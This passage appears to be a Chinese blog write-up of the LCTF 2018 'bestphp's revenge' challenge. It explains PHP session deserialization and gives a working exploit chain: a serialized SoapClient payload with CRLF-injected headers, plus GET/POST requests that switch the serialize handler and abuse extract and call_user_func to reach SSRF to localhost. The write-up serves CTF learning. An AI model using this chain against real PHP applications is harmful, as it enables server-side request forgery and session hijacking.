PHP session反序列化

最近在学习php的反序列化漏洞,趁着周末混了混LCTF,菜的扣脚。正好遇到了一道关于反序列化的题目,在这里记录一下方便复习。

前置知识

阅读PHP官方文档可以知道,session_start可通过GET或POST方式获取参数覆盖配置项:

1
2
3
4
5
官方文档内容:
options
此参数是一个关联数组,如果提供,那么会用其中的项目覆盖 会话配置指示 中的配置项。此数组中的键无需包含 session. 前缀。

除了常规的会话配置指示项, 还可以在此数组中包含 read_and_close 选项。如果将此选项的值设置为 TRUE, 那么会话文件会在读取完毕之后马上关闭, 因此,可以在会话数据没有变动的时候,避免不必要的文件锁。

call_user_func()可以用来调用一个类里面的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3

$myobject = new myclass();

call_user_func(array($myobject, 'say_hello'));

?>
输出:
Hello!
Hello!
Hello!

内置类SoapClient,使用方法:

1
$client     = new SoapClient($url, array("trace" => 1, "exception" => 0));

具体请见N1CTF Easy&&Hard Php Writeup

bestphp’s revenge

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

flag.php

1
2
3
4
5
6
7
8
<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
?>

hint: 反序列化
既然是反序列化,找POP链就好了。整理下思路:
构造POP链,利用session反序列化达到SSRF绕过”REMOTE_ADDR”目的,使得flag赋值到session数组中,通过index中的var_dump函数打印出来。
1.session序列化(serialize_handler=php_serialize)
2.session反序列化(serialize_handler=php),触发SoapClient的_call()方法。
3.利用ssrf设置的phpsession访问index.php页面,获得flag。

Payload

1
2
3
4
5
6
7
8
9
session_start();
$target='http://127.0.0.1/t.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "s1ye\r\n" .
"Cookie:PHPSESSID=e3tm59aisg6hk188ouksqko694",
'uri' => "http://127.0.0.1/"));

$se = serialize($b);
echo urlencode($se);

运行上述代码,获得序列化字符串,并访问

1
2
get->http://ip/index.php?f=session_start&name={序列化字符串}
post->serialize_handler=php_serialize

然后利用extract覆盖掉b变量,执行call_user_func函数以此来使得SoapClient调用不存在的方法’welcome_to_the_lctf2018’,触发call方法

1
2
get->http://ip/index.php?f=extract&name=SoapClient
post->b=call_user_func

这时利用payload中的PHPSESSION:e3tm59aisg6hk188ouksqko694去访问index页面即可获得flag。
由于题目已经关闭无法复现就不贴图了(本地复现环境一直搞不好自闭了,md垃圾php。)

参考文章

N1CTF Easy&&Hard Php Writeup
session_start()&bestphp
LCTF 2018 Writeup – Nu1L

懒,是通往牛逼的路上最大的敌人。

文章目录
  1. 1. 前置知识
  2. 2. bestphp’s revenge
  3. 3. Payload
  4. 4. 参考文章
  • 懒,是通往牛逼的路上最大的敌人。